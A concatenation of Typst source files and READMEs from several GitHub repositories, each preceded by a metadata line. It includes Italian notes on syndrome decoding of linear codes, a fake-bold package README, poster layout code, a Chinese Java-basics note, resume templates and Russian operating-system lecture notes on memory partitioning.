Si noti come se il vettore $x$ ha per sindrome il vettore nullo, si
ricade nel @Control-matrix-product-null.
#theorem[
Sia $C$ un codice lineare in $ZZ_(p)^(n)$ di dimensione $k$, e sia
$H$ una matrice di controllo per $C$. Siano poi $x, y in ZZ_(p)^(n)$
due vettori. La relazione
$ y in x + C = {x + c : c in C} $
É vera se e soltanto se $x$ e $y$ hanno la stessa sindrome.
]
#proof[
Enunciare che $y$ appartiene a $x + C$ equivale ad enunciare che $y =
x + c$ con $c in C$, e viceversa. Spostando $x$ a primo membro, si ha
$y - x = c$. Moltiplicando ambo i membri per $H^(t)$, si ha $(y − x)
H^(t) = c H^(t)$. Per il @Control-matrix-product-null, dato che per
costruzione $c$ appartiene a $C$, si ha $c H^(t) = underline(0)$.
Valendo $(y − x)H^(t) = c H^(t)$ e $c H^(t) = underline(0)$, per
proprietá transitiva si ha $(y − x)H^(t) = underline(0)$. Svolgendo
il prodotto restituisce $y H^(t) − x H^(t) = underline(0)$, ovvero
$y H^(t) = x H^(t)$. Si noti peró come $y H^(t)$ e $x H^(t)$ siano
rispettivamente la sindrome di $y$ e di $x$, pertanto il teorema é
provato.
]
É possibile utilizzare la sindrome dei vettori per semplificare lo schema
di decodifica visto in precedenza. Si supponga di conoscere la sindrome di
ciascuna parola $a_(i)$ della matrice $Sigma = (sigma_(i, j))$. Dato $y$ il
messaggio ricevuto, la decodifica può essere operata come segue:
- Si calcola la sindrome $s = y(H^(t))$ di $y$;
- Se $s = overline(0)$, allora si ricade nel @Control-matrix-product-null,
e quindi il messaggio é stato trasmesso senza errori (appartenendo a $C$);
- Se invece $s != overline(0)$, si determina l'elemento $a_(i)$ avente la
stessa sindrome di $y$ e si decodifica quest'ultimo con $y − a_(i)$.
#example[
Sia $C in ZZ_(2)^(4)$ il codice avente matrice di controllo:
$ H = mat(
0, 1, 1, 0;
1, 1, 0, 1) $
In $ZZ_(2)^(4)$ si hanno $a_(2) = 1000$, $a_(3) = 0100$, e
$a_(4) = 0010$, aventi sindrome:
#grid(
columns: (0.33fr, 0.33fr, 0.33fr),
[$ s_(2) = a_(2) H^(t) = mat(0, 1) $],
[$ s_(3) = a_(3) H^(t) = mat(1, 1) $],
[$ s_(4) = a_(4) H^(t) = mat(1, 0) $]
)
Sia $y = 0101$ il messaggio ricevuto, avente sindone:
$ s = y H^(t) = mat(0, 1, 0, 1) mat(0, 1, 1, 0; 1, 1, 0, 1)^(t) =
mat(0, 1, 0, 1) mat(0, 1; 1, 1; 1, 0; 0, 1) = mat(0 + 1 + 0 + 0,
0 + 1 + 0 + 1) = mat(1, 0) $
Poichè $s = s_(4)$ $y$ viene corretto con $y − a_(4) = 0101 − 0010
= 0111$.
]
Sia $C in ZZ_(p)^(n)$ un codice lineare $1$-correttore. Si supponga che
venga trasmessa la parola $x$ (appartenente a $C$) e che il messaggio
ricevuto sia $y$ (non necessariamente appartenente a $C$). I due messaggi
sono uguali a meno di un certo errore $e$, pertanto é possibile scrivere
$y = x + e$. Essendo $C$ un codice $1$-correttore, $e$ deve essere un
vettore composto da soli termini nulli tranne uno, pertanto é possibile
scrivere $e = (0, dots, e_(i), dots, 0)$.
Per il @Control-matrix-product-null si ha $x (H^(t)) = underline(0)$,
in quanto $x in C$. Pertanto:
$ y(H^(t)) = (x + e)(H^(t)) = x(H^(t)) + e(H^(t)) = underline(0) + e(H^(t))
= e(H^(t)) $
Ovvero, $y$ ed $e$ hanno la stessa sindrome. Si ha allora:
$ e(H^(t))&=
mat(0, dots, e_(i), dots, 0)
mat(
h_(1, 1), h_(1, 2), dots, h_(1, n);
h_(2, 1), h_(2, 2), dots, h_(2, n);
dots.v, dots.v, dots.down, dots.v;
h_(n - k, 1), h_(n - k, 2), dots, h_(n - k, n))^(t) =
mat(0, dots, e_(i), dots, 0)
mat(
h_(1, 1), h_(2, 1), dots, h_(n - k, 1);
h_(1, 2), h_(2, 2), dots, h_(n - k, 2);
dots.v, dots.v, dots.down, dots.v;
h_(1, n), h_(2, n), dots, h_(n - k, n)) = \ &=
mat(0 dot h_(1, 1) + dots + e_(i) dot h_(1, i) + dots + 0 dot h_(1, n),
dots, 0 dot h_(n - k, 1) + dots + e_(i) dot h_(n - k, i) + dots +
0 dot h_(n - k, n)) = \ &=
mat(e_(i) h_(1, i), e_(i) h_(2, i), dots, e_(i) h_(n − k, i)) =
e_(i) underbrace(mat(h_(1, i), h_(2, i), dots, h_(n − k, i)), i-"esima"
"colonna" "di" H) $
La sindrome di $e$ è quindi dato dal prodotto matriciale fra l'elemento
non nullo $e_(i)$ di $e$, che restituisce la "grandezza" dell'errore, e
la colonna di $H$ corrispondente alla componente in cui è subentrato
l'errore. Il vettore $y$ viene quindi corretto come:
$ x = y − e = (y_(1), dots, y_(i), dots, y_(n)) − (0, dots, e_(i), dots, 0)
= (y_(1), dots, y_(i) − e_(i), dots, y_(n)) $
Riassumendo, la decodifica mediante codici $1$-correttori avviene come segue:
+ Viene calcolata la sindrome $y(H^(t)) = s$ del vettore $y$ ricevuto;
+ Se $s = underline(0)$, allora $y$ non ha errori, e coincide quindi con
il messaggio inviato;
+ Se $s != underline(0)$ si confronta $s$ con ogni colonna di $H$;
+ Se $s$ è multiplo della $i$-esima colonna di $H$ secondo lo scalare
$e_(i)$ allora l'errore è $e = (0, dots, e_(i), dots, 0)$ e $y$ viene
decodificato con $x = y − e$.
#example[
Sia $C$ il codice su $ZZ_(3)$, e sia $H$ una sua matrice di controllo:
#grid(
columns: (0.5fr, 0.5fr),
[$ H =
mat(
2, 0, 0, 1, 1;
0, 2, 0, 0, 2;
0, 0, 1, 2, 0) $],
[$ H^(t) =
mat(2, 0, 0;
0, 2, 0;
0, 0, 1;
1, 0, 2;
1, 2, 0) $]
)
Si supponga che venga trasmessa la parola $x = (10110)$ e che la parola
ricevuta sia $y = (10010)$. Si ha:
$ y(H^(t)) =
mat(1, 0, 0, 1, 0)
mat(2, 0, 0;
0, 2, 0;
0, 0, 1;
1, 0, 2;
1, 2, 0) =
mat(1 dot 2 + 0 dot 0 + 0 dot 0 + 1 dot 1 + 0 dot 1;
1 dot 0 + 0 dot 2 + 0 dot 0 + 1 dot 0 + 0 dot 2;
1 dot 0 + 0 dot 0 + 0 dot 1 + 1 dot 2 + 0 dot 0)^(t) =
mat(0, 0, 2) = 2 mat(0, 0, 1) $
L'errore é quindi nella terza componente. $y$ viene quindi corretto come
$y − e = 10010 − 00200 = 10110$.
]
|
https://github.com/csimide/cuti | https://raw.githubusercontent.com/csimide/cuti/master/README.md | markdown | MIT License | # Cuti
Cuti (/kjuːti/) is a package that simulates fake bold / fake italic. This package is typically used on fonts that do not have a `bold` weight, such as "SimSun".
## Usage
Please refer to the [English Demo & Doc](./demo-and-doc/demo-and-doc.pdf) located in the `demo-and-doc` directory for details.
本 Package 提供中文文档: [中文 Demo 与文档](./demo-and-doc/demo-and-doc-cn.pdf)。
### Getting Started Quickly (For Chinese User)
Please add the following content at the beginning of the document:
```typst
#import "@preview/cuti:0.2.1": show-cn-fakebold
#show: show-cn-fakebold
```
Then, the bolding for SimHei, SimSun, and KaiTi fonts should work correctly.
## Changelog
### `0.2.1`
- feat: The stroke of fake bold will use the same color as the text.
- fix: Attempted to fix the issue with the spacing of punctuation in fake italic (#2), but there are still problems.
### `0.2.0`
- feat: Added fake italic functionality.
### `0.1.0`
- Basic fake bold functionality.
## License
MIT License
This package refers to the following content:
- [TeX and Chinese Character Processing: Fake Bold and Fake Italic](https://zhuanlan.zhihu.com/p/19686102)
- Typst issue [#394](https://github.com/typst/typst/issues/394)
- Typst issue [#2749](https://github.com/typst/typst/issues/2749) (The function `_skew` comes from Enivex's code.)
Thanks to Enter-tainer for the assistance.
|
https://github.com/jonaspleyer/peace-of-posters | https://raw.githubusercontent.com/jonaspleyer/peace-of-posters/main/boxes.typ | typst | MIT License | #import "themes.typ": *
#import "layouts.typ": *
#let _calculate-width(b1, b2) = {
// Get positions and width of box
let p1 = b1.location().position()
let p2 = b2.location().position()
let width = p2.at("x") - p1.at("x")
width
}
#let _calculate-vertical-distance(current-position, box, spacing) = {
let p = box.location().position()
// calculate distance
let bottom-y = p.y
let without-spacing = p.y - current-position.y
let dist = p.y - current-position.y - spacing
(dist, without-spacing)
}
#let _calculate-vertical-distance-to-page-end(m-loc, spacing) = {
// Get position of end of page
pt.at("heading-text-args", default: (:))
100% - m-loc.y - spacing
}
// We have two boxes b1 and b2 and want to know if they will
// intersect if we increase the vertical size of box b1 while
// leaving the beginning position intact.
#let _boxes-would-intersect(b1-left, b1-right, b2-left, b2-right) = {
let b1l = b1-left.location().position()
let b1r = b1-right.location().position()
let b2l = b2-left.location().position()
let b2r = b2-right.location().position()
// If the intervals [b1-left.x, b1-right.x] and [b2-left.x, b2-right.x]
// do not intersect, they will never intersect when stretching the box
if not ((b1l.at("x") <= b2r.at("x")) and (b2l.at("x") <= b1r.at("x"))) {
return false
} else {
// If the x-intervals do intersect,
return true
}
let p = b1-right.location().position()
let q = b2-left.location().position()
let filt1 = p.at("x") > q.at("x")
let filt2 = p.at("y") < q.at("y")
let filt3 = b1-right.location().page() == b2-left.location().page()
filt1 and filt2
}
#let stretch-box-to-next(box-function, location-heading-box, spacing: 1.2em, ..r) = locate(loc => {
// Get current y location
let m-loc = loc.position()
let b1 = query(<COLUMN-BOX>, loc)
let b2 = query(<COLUMN-BOX-RIGHT>, loc)
// Find current box in all these queries
let cb = b1.zip(b2).filter(b => {
let (c-box, c-box-end) = b
c-box.location().position() == location-heading-box.position()
}).first()
let target = b1
.zip(b2)
.map(b => {
let (c-box, c-box-end) = b
let c-loc = c-box.location().position()
let filt = _boxes-would-intersect(cb.at(0), cb.at(1), c-box, c-box-end)
let (dist, dist-without-spacing) = _calculate-vertical-distance(m-loc, c-box, spacing)
(dist, filt, dist-without-spacing)
})
.filter(dist-filt => {dist-filt.at(1) and dist-filt.at(2) > 0.0mm})
.sorted(key: dist-filt => {dist-filt.at(2)})
// If we found a target, expand towards this target
if target.len() > 0 {
let (dist, _, _) = target.first()
box-function(..r, height: dist)
// Else determine the end of the page
} else {
let pl = _state-poster-layout.at(loc)
let (_, height) = pl.at("size")
let dist = height - m-loc.y - spacing
box-function(..r, height: dist)
}
})
// A common box that makes up all other boxes
#let common-box(
body: none,
heading: none,
heading-size: none,
heading-box-args: none,
heading-text-args: none,
heading-box-function: none,
body-size: none,
body-box-args: none,
body-text-args: none,
body-box-function: none,
stretch-to-next: false,
spacing: none,
bottom-box: false,
) = {
locate(loc => {
let pt = _state-poster-theme.at(loc)
let pl = _state-poster-layout.at(loc)
let spacing = if spacing==none {pl.at("spacing")} else {spacing}
/// #####################################################
/// ###################### HEADING ######################
/// #####################################################
// Sort out arguments for heading box
let heading-box-args = heading-box-args
if heading-box-args==none {
heading-box-args = pt.at("heading-box-args", default: (:))
if body!=none {
heading-box-args = pt.at("heading-box-args-with-body", default: heading-box-args)
}
}
// Sort out arguments for heading text
let heading-text-args = heading-text-args
if heading-text-args==none {
heading-text-args = pt.at("heading-text-args", default: (:))
if body!=none {
heading-text-args = pt.at("heading-text-args-with-body", default: heading-text-args)
}
}
// Define which function to use for heading box
let heading-box-function = heading-box-function
if heading-box-function==none {
heading-box-function = pt.at("heading-box-function", default: rect)
}
// Determine the size of the heading
let heading-size = pl.at("heading-size", default: heading-size)
if heading-size!=none {
heading-text-args.insert("size", heading-size)
}
/// CONSTRUCT HEADING IF NOT EMPTY
let heading-box = box(width: 0%, height: 0%)
let heading = if heading!=none {
[
#set text(..heading-text-args)
#heading
]
} else {
none
}
if heading!=none {
heading-box = heading-box-function(
..heading-box-args,
)[#heading]
}
/// #####################################################
/// ####################### BODY ########################
/// #####################################################
// Sort out arguments for body box
let body-box-args = body-box-args
if body-box-args==none {
body-box-args = pt.at("body-box-args", default: (:))
if heading==none {
body-box-args = pt.at("body-box-args-with-heading", default: body-box-args)
}
}
// Sort out arguments for body text
let body-text-args = body-text-args
if body-text-args==none {
body-text-args = pt.at("body-text-args", default: (:))
if heading==none {
body-text-args = pt.at("body-text-args-with-heading", default: body-text-args)
}
}
// Define which function to use for body box
let body-box-function = body-box-function
if body-box-function==none {
body-box-function = pt.at("body-box-function", default: rect)
}
// Determine the size of the body
let body-size = pl.at("body-size", default: body-size)
if body-size!=none {
body-text-args.insert("size", body-size)
}
/// CONSTRUCT BODY IF NOT EMPTY
let body-box = box(width: 0%, height: 0%)
let body = if body!=none {
[
#set text(..body-text-args)
#body
]
} else {
none
}
if body!=none {
body-box = body-box-function(
..body-box-args,
)[#body]
}
/// #####################################################
/// ##################### COMBINE #######################
/// #####################################################
/// IF THIS BOX SHOULD BE STRETCHED TO THE NEXT POSSIBLE POINT WE HAVE TO ADJUST ITS SIZE
if stretch-to-next==true {
if body!=none {
body-box = stretch-box-to-next(
body-box-function,
loc,
spacing: spacing,
body,
..body-box-args,
)
} else {
heading-box = stretch-box-to-next(
heading-box-function,
loc,
spacing: spacing,
heading,
..heading-box-args,
)
}
}
box([#stack(dir: ltr, [#stack(dir:ttb,
heading-box,
body-box,
)], [#box(width: 0pt, height: 0pt)<COLUMN-BOX-RIGHT>])<COLUMN-BOX>])
})
}
// Write a function to creata a box with heading
#let column-box(
body,
..args
) = {
common-box(body: body, ..args)
}
// Function to display the title of the document
#let title-box(
title,
subtitle: none,
authors: none,
institutes: none,
keywords: none,
image: none,
text-relative-width: 80%,
spacing: 5%,
title-size: none,
subtitle-size: none,
authors-size: none,
keywords-size: none,
) = {
locate(loc => {
let text-relative-width = text-relative-width
/// Get theme and layout state
let pl = _state-poster-layout.at(loc)
/// Layout specific options
let title-size = if title-size==none {pl.at("title-size")} else {title-size}
let subtitle-size = if subtitle-size==none {pl.at("subtitle-size")} else {subtitle-size}
let authors-size = if authors-size==none {pl.at("authors-size")} else {authors-size}
let keywords-size = if keywords-size==none {pl.at("keywords-size")} else {keywords-size}
/// Generate body of box
let text-content = [
#set text(size: title-size)
#title\
#set text(size: subtitle-size)
#if subtitle!=none {[#subtitle\ ]}
#v(1.25em, weak: true)
#set text(size: authors-size)
#if authors!=none {[#authors\ ]}
#if institutes!=none {[#institutes\ ]}
#if keywords!=none {[
#v(1em, weak: true)
#set text(size: keywords-size)
#keywords
]}
]
/// Expand to full width of no image is specified
if image==none {
text-relative-width=100%
}
/// Finally construct the main rectangle
common-box(heading:
stack(dir: ltr,
box(text-content, width: text-relative-width),
align(right, box(image, width: 100% - spacing - text-relative-width))
))
})
}
#let bottom-box(body, text-relative-width: 70%, logo: none, ..args) = {
let body = [
#set align(top+left)
#if logo==none {
box(width: 100%, body)
} else {
stack(dir: ltr,
box(width: text-relative-width, body),
align(right+horizon, logo),
)
}
]
let r = common-box(heading: body, bottom-box: true, ..args)
align(bottom, r)
}
/// TODO
#let bibliography-box(bib-file, body-size: 24pt, title: none, style: "ieee", stretch-to-next: false) = {
if title==none {
title = "References"
}
column-box(heading: title, stretch-to-next: stretch-to-next)[
#set text(size: body-size)
#bibliography(bib-file, title: none, style: style)
]
}
|
https://github.com/alberto-lazari/computer-science | https://raw.githubusercontent.com/alberto-lazari/computer-science/main/type-theory/theory-exercises/common.typ | typst | #import "typst-prooftree/prooftree.typ": *
#let prooftree = prooftree.with(label: (padding: 0.3em))
#let pi-enum(list) = {
set enum(full: true, numbering: (..nums) => {
let num = nums.pos()
.map(str)
.join[.]
$pi_#num)$
})
list
}
#let a-enum(list) = {
set enum(numbering: (..nums) => {
let num = nums.pos()
.map(str)
.join()
$a_#num)$
})
list
}
#let exercise(
section: (num: none, title: none),
ex: 1,
solution: true,
txt
) = {
let count = counter("Exercise")
count.step()
// Don't separate heading 1 from the box
box[
= Exercise #count.display("1")
#box(stroke: 0.5pt, width: 100%, inset: 0.5em, [
== #section.num #h(0.6em) #section.title
#enum(start: ex, box(width: 100%, txt))
])
]
if solution [
== Solution
]
}
// General
#let type = $italic("type")$
#let cont = $italic("cont")$
#let El = $sans("El")$
#let pf = $bold("pf")$
#let ctx(..elements) = {
h(0.3em)
let context = $space$
if elements.pos().len() > 0 {
context = elements.pos().join[,]
}
$[#context]$
}
#let var = $"var)"$
#let Fc = $"F-c)"$
// Singleton
#let N1 = $sans(upright(N))_1$
#let ElN1 = $El_N1$
#let N1prog = $sans(upright(N))_(1italic("prog"))$
#let FS = $"F-S)"$
#let IS = $"I-S)"$
#let ES = $"E-S)"$
// Naturals
#let Nat = $sans("Nat")$
#let succ = $sans("succ")$
#let ElNat = $El_Nat$
#let ENat = $"E-"Nat)$
#let FNat = $"F-"Nat)$
#let C1Nat = $upright(C_1)"-"Nat)$
#let C2Nat = $upright(C_2)"-"Nat)$
#let I1Nat = $upright(I_1)"-"Nat)$
#let I2Nat = $upright(I_2)"-"Nat)$
// Use single letter variables with an explicit #
#let p = $bold(upright(p))$
#let n = $bold(upright(n))$
// Equality
#let Id = $sans("Id")$
#let id = $sans("id")$
#let ElId = $El_Id$
#let z1 = $z_1$
#let z2 = $z_2$
#let z3 = $z_3$
#let v1 = $v_1$
#let v2 = $v_2$
#let v3 = $v_3$
#let FId = $"F-"Id)$
#let IId = $"I-"Id)$
#let EId = $"E-"Id)$
// Extra
#let fa(..elements) = {
elements
.pos()
.map(e => [$forall_(#e)$])
.join[$space$]
$space$
}
#let ex(..elements) = {
elements
.pos()
.map(e => [$exists_(#e)$])
.join[$space$]
$space$
}
#let to = $space -> space$
#let amp = $space "&" space$
#let tr = $italic("true")$
#let prod(arg) = $Pi_(#arg) space$
#let sum(arg) = $Sigma_(#arg) space$
#let Idp = $Id_upright(sans(p))$
#let idp = $id_upright(sans(p))$
#let ElIdp = $ElId_sans(upright(p))$
#let x1 = $x_1$
#let x2 = $x_2$
#let y1 = $y_1$
#let y2 = $y_2$
#let FIdp = $"F-"Idp)$
#let IIdp = $"I-"Idp)$
#let EIdp = $"E-"Idp)$
#let Fprod = $"F-"Pi)$
#let Iprod = $"I-"Pi)$
#let Eprod = $"E-"Pi)$
#let Fsum = $"F-"Sigma)$
#let Isum = $"I-"Sigma)$
#let Esum = $"E-"Sigma)$
#let Elsum = $El_Sigma$
#let q = $bold(upright(q))$
|
|
https://github.com/horaoen/note | https://raw.githubusercontent.com/horaoen/note/main/8gu.typ | typst | Apache License 2.0 | #import "./typstempl/note.typ": note
#show: doc => note(
title: "Java基础",
doc
)
= 一、Java和C++主要区别有哪些?各有哪些优缺点?
== Java和C++分别代表了两种类型的语言:
+ C++是编译型语言(首先将源代码编译生成机器语言,再由机器运行机器码),执行速度快、效率高;依赖编译器、跨平台性差些。
+ Java是解释型语言(源代码不是直接翻译成机器语言,而是先翻译成中间代码,再由解释器对中间代码进行解释运行。),执行速度慢、效率低;依赖解释器、跨平台性好。
PS:也有人说Java是半编译、半解释型语言。Java 编译器(javac)先将java源程序编译成Java字节码(.class),JVM负责解释执行字节码文件。
== 二者更多的主要区别如下:
+ C++是平台相关的,Java是平台无关的。
+ C++对所有的数字类型有标准的范围限制,但字节长度是跟具体实现相关的,同一个类型在不同操作系统可能长度不一样。Java在所有平台上对所有的基本类型都有标准的范围限制和字节长度。
+ C++除了一些比较少见的情况之外和C语言兼容 。 Java没有对任何之前的语言向前兼容。但在语法上受 C/C++ 的影响很大
+ C++允许直接调用本地的系统库 。 Java要通过JNI调用, 或者 JNA
+ C++允许过程式程序设计和面向对象程序设计 。Java必须使用面向对象的程序设计方式
+ C++支持指针,引用,传值调用 。Java只有值传递。
+ C++需要显式的内存管理,但有第三方的框架可以提供垃圾搜集的支持。支持析构函数。 Java 是自动垃圾收集的。没有析构函数的概念。
+ C++支持多重继承,包括虚拟继承 。Java只允许单继承,需要多继承的情况要使用接口。
== Java与C的参数方法有什么区别?
*C语言是通过指针的引用传递*
```cpp
void swap(int *i, int *j) {
int temp = *i;
*i = *j;
*j = temp;
}
```
*Java会拷贝当前栈中的值传递过去*
```java
public class Test {
private int num;
public Test(int num) {
this.num = num;
}
@Override
public String toString() {
return "Test{" +
"num=" + num +
'}';
}
public static void main(String[] args) {
int i = 10;
int j = 20;
swap(i,j);
//10
System.out.println(i);
//20
System.out.println(j);
Test ii = new Test(i);
Test jj = new Test(j);
swapInstance(ii, jj);
//Test{num=10}
System.out.println(ii);
//Test{num=20}
System.out.println(jj);
}
private static void swap(int i, int j) {
int temp = i;
i = j;
j = temp;
}
private static void swapInstance(Test i, Test j) {
Test temp = i;
i = j;
j = temp;
}
}
```
编程语言中需要进行方法间的参数传递,这个传递的策略叫做求值策略。
在程序设计中,求值策略有很多种,比较常见的就是值传递和引用传递。还有一种值传递的特例——共享对象传递。
*值传递和引用传递最大的区别是传递的过程中有没有复制出一个副本来,如果是传递副本,那就是值传递,否则就是引用传递。*
Java对象的传递,是通过复制的方式把引用关系传递了,因为有复制的过程,所以是值传递,只不过对于Java对象的传递,传递的内容是对象的引用。
|
https://github.com/gabrielluizep/typst-ifsc | https://raw.githubusercontent.com/gabrielluizep/typst-ifsc/main/examples/assignment.example.typ | typst | Creative Commons Zero v1.0 Universal | #import "../templates/assignment.typ": * |
https://github.com/jgm/typst-hs | https://raw.githubusercontent.com/jgm/typst-hs/main/test/typ/compiler/recursion-01.typ | typst | Other | // Test with unnamed function.
// Error: 17-18 unknown variable: f
#let f = (n) => f(n - 1)
#f(10)
|
https://github.com/CarloSchafflik12/typst-ez-today | https://raw.githubusercontent.com/CarloSchafflik12/typst-ez-today/main/examples/example.typ | typst | MIT License | #import "../ez-today.typ"
// Default output
#ez-today.today()
// Custom format with English months
#ez-today.today(lang: "en", format: "M-d-Y")
// Defining some custom names
#let my-months = ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec")
// Get current date with custom names
#ez-today.today(custom-months: my-months, format: "M-y")
|
https://github.com/gumelarme/nuist-master-thesis-proposal | https://raw.githubusercontent.com/gumelarme/nuist-master-thesis-proposal/main/pages/notes.typ | typst | #import "/strings/zh.typ" as lang
#box(width: 100%)[
#set text(size: 1.3em)
#set align(center)
= #lang.notes-title
]
#v(2em)
#lang.notes-content
#pagebreak()
|
|
https://github.com/BeiyanYunyi/resume | https://raw.githubusercontent.com/BeiyanYunyi/resume/main/metadata.typ | typst | // NOTICE: Copy this file to your root folder.
#import "./personalInfo.typ": *
/* Personal Information */
#let firstName = "北雁云依"
#let lastName = "Doe"
/* Language-specific */
// Add your own languages while the keys must match the varLanguage variable
#let headerQuoteInternational = (
"": [Experienced Data Analyst looking for a full time job starting from now],
"en": [Experienced Data Analyst looking for a full time job starting from now],
"fr": [Analyste de données expérimenté à la recherche d'un emploi à temps plein
disponible dès maintenant],
"zh": [技术栈丰富、有探索精神、具有三年开发经验的前端工程师,2025年7月后可入职],
)
#let cvFooterInternational = (
"": "Curriculum vitae",
"en": "Curriculum vitae",
"fr": "Résumé",
"zh": "简历",
)
#let letterFooterInternational = (
"": "Cover Letter",
"en": "Cover Letter",
"fr": "Lettre de motivation",
"zh": "申请信",
)
/* Layout Setting */
#let awesomeColor = "red" // Optional: skyblue, red, nephritis, concrete, darknight
#let profilePhoto = "" // Leave blank if profil photo is not needed
#let varLanguage = "zh" // INFO: value must matches folder suffix; i.e "zh" -> "./modules_zh"
#let varEntrySocietyFirst = false // Decide if you want to put your company in bold or your position in bold
#let varDisplayLogo = true // Decide if you want to display organisation logo or not |
|
https://github.com/bkorecic/enunciado-facil-fcfm | https://raw.githubusercontent.com/bkorecic/enunciado-facil-fcfm/main/lib/departamentos.typ | typst | MIT License | #let adh = (
nombre: "Área de Humanidades",
logo: move(dy: 5pt, image("logos/adh.svg", height: 50pt)),
)
#let das = (
nombre: "Departamento de Astronomía",
logo: move(dy: 5pt, image("logos/das.svg", height: 50pt)),
)
#let dcc = (
nombre: "Departamento de Ciencias de la Computación",
logo: move(dy: 5pt, image("logos/dcc.svg", height: 50pt)),
)
#let dfi = (
nombre: "Departamento de Física",
logo: move(dy: 5pt, image("logos/dfi.svg", height: 50pt)),
)
#let dgf = (
nombre: "Departamento de Geofísica",
logo: move(dy: 5pt, image("logos/dgf.svg", height: 50pt)),
)
#let dic = (
nombre: "Departamento de Ingeniería Civil",
logo: move(dy: 5pt, image("logos/dic.svg", height: 50pt)),
)
#let die = (
nombre: "Departamento de Ingeniería Eléctrica",
logo: move(dy: 5pt, image("logos/die.svg", height: 50pt)),
)
#let dii = (
nombre: "Departamento de Ingeniería Industrial",
logo: move(dy: 5pt, image("logos/dii.svg", height: 50pt)),
)
#let dim = (
nombre: "Departamento de Ingeniería Matemática",
logo: move(dy: 5pt, image("logos/dim.svg", height: 50pt)),
)
#let dimec = (
nombre: "Departamento de Ingeniería Mecánica",
logo: move(dy: 5pt, image("logos/dimec.svg", height: 50pt)),
)
#let dimin = (
nombre: "Departamento de Ingeniería de Minas",
logo: move(dy: 5pt, image("logos/dimin.svg", height: 50pt)),
)
#let diqbm = (
nombre: "Departamento de Ingeniería Química, Biotecnología y Materiales",
logo: move(dy: 5pt, image("logos/diqbm.svg", height: 50pt)),
)
#let geo = (
nombre: "Deparamento de Geología",
logo: move(dy: 5pt, image("logos/geo.svg", height: 50pt)),
)
|
https://github.com/Kasci/LiturgicalBooks | https://raw.githubusercontent.com/Kasci/LiturgicalBooks/master/CSL_old/oktoich/0_all/1hlas.typ | typst | #import "/styleMenlive.typ": *
#import "/CSL/texts.typ": *
= #translation.at("HLAS") 1
#import "../Hlas1/0_Nedela.typ" as Ne: *
#import "../Hlas1/1_Pondelok.typ" as Po: *
#import "../Hlas1/2_Utorok.typ" as Ut: *
#import "../Hlas1/3_Streda.typ" as Sr: *
#import "../Hlas1/4_Stvrtok.typ" as St: *
#import "../Hlas1/5_Piatok.typ" as Pi: *
#import "../Hlas1/6_Sobota.typ" as So: *
#hlas_all(Ne.M, Ne.V, Ne.P, Ne.N, Ne.U, Ne.L,
Po.V, Po.P, Po.U, Po.L,
Ut.V, Ut.P, Ut.U, Ut.L,
Sr.V, Sr.P, Sr.U, Sr.L,
St.V, St.P, St.U, St.L,
Pi.V, Pi.P, Pi.U, Pi.L,
So.V, So.P, So.U, So.L,
h_st, s_st, p_st, n_st,
typs, pripivy,
sd_st, ch_st, su_st, b_st,
id => translation.at(id)) |
|
https://github.com/HernandoR/lz-brilliant-cv | https://raw.githubusercontent.com/HernandoR/lz-brilliant-cv/main/modules/skills.typ | typst | Apache License 2.0 | #import "../brilliant-CV/template.typ": *
#cvSection("Skills")
#cvSkill(..languageSwitch((
"en":(
type: [Languages],
info: [English - Professional fluent #hBar() Mandarin - Native]
),
"zh":(
type: [Languages],
info: [英语 - 专业流利 #hBar() 中文 - 母语]
)
)))
#cvSkill(..languageSwitch((
"en":(
type: [Tech Stack],
info: [Python (Pandas/Numpy) #hBar() Computer Vision #hBar() 3D reconstracture #hBar() Machine Learning(PyTorch) #hBar git #hBar() Tableau]
),
"zh":(
type: [Tech Stack],
info: [Python (Pandas/Numpy) #hBar() 计算机视觉 #hBar() 3D重建 #hBar() 机器学习(PyTorch) #hBar git #hBar() Tableau]
)
)))
// #cvSkill(
// type: [Languages],
// info: languageSwitch((
// "en":[English - Professional fluent #hBar() Mandarin - Native],
// "zh":[英语 - 专业流利 #hBar() 中文 - 母语]
// )),
// )
// #cvSkill(
// type: [Tech Stack],
// info: languageSwitch((
// "en":[Python (Pandas/Numpy) #hBar() Computer Vision #hBar() 3D reconstracture #hBar() Machine Learning(PyTorch) #hBar git #hBar() Tableau],
// "zh":[Python (Pandas/Numpy) #hBar() 计算机视觉 #hBar() 3D重建 #hBar() 机器学习(PyTorch) #hBar git #hBar() Tableau]
// ))
// )
// #cvSkill(
// type: [Personal Interests],
// info: [Swimming #hBar() Cooking #hBar() Reading]
// )
|
https://github.com/kotfind/hse-se-2-notes | https://raw.githubusercontent.com/kotfind/hse-se-2-notes/master/os/lectures/2024-10-21.typ | typst | #import "/utils/math.typ": *
== Функции ОС и Hardware
- Отображение логического адресного пространства процесса на физическое адресное
пространство
- Распределение физической памяти между конкурирующими процессами
- Контроль доступа к адресным пространствам процессов
- Выгрузка процессов (целиком или частично) во внешнюю память (swapping)
== На конкретных примерах
=== Однопрограммная система
Есть адресное пространство: от `0` до `max`
ОС либо в младших адресах (в самом начале), либо в старших адресах (в самом
конце)
=== Фиксированные разделы
ОС в младших адресах
Всю свободную память (кроме памяти ОС) разобьем на несколько участков --
разделов (обычно разных размеров). К каждому разделу своя очередь процессов (в
зависимости от того, сколько памяти хочет процесс).
#blk(title: [Организация больших программ])[
Что делать, если программе нужно данных больше, чем размер раздела или даже
размер всей оперативной памяти?
Оба следующих способа используют принцип локальности
- *Оверлейная структура*
Программа разбивается на несколько кусочков -- оверлеев. В памяти сидит
только загрузчик оверлеев и один оверлей.
- *Динамическая загрузка процедур*
Загружаются в память не все функции, а только те, которые вызываются.
Если функция давно не исполнялась, то её можно выкинуть из памяти.
]
Может возникнуть ситуация, когда какой-то раздел простаивает. Поэтому используют
одну общую очередь заданий (для всех разделов).
Количество параллельно обрабатываемых заданий не превышает число разделов.
#def[
#defitem[Эффект внутренней фрагментации] --- потеря части памяти, которую мы
процессу выделили, но которую он на самом деле не использует.
]
=== Динамические разделы
Пусть есть память с ячейками $0, 2, 3, ..., 1000$
ОC занимает ячейки $0, ..., 200$
Новым процессам будем выделять нужное количество памяти. Кусок памяти, выделенный под данный процесс -- это динамический раздел.
В таком случае происходит фрагментация: появляется много маленьких незанятых
кусков.
ОС поддерживает список свободных мест.
*Стратеги размещения нового процесса в памяти*:
- *First-fit* (первый подходящий). Процесс размещается в первое подходящее по
размеру пустое место.
- *Next-fit* (следующий подходящий). Аналогично First-fit, но ищем не с нулевого
адреса, а с того, на котором остановились в прошлый раз.
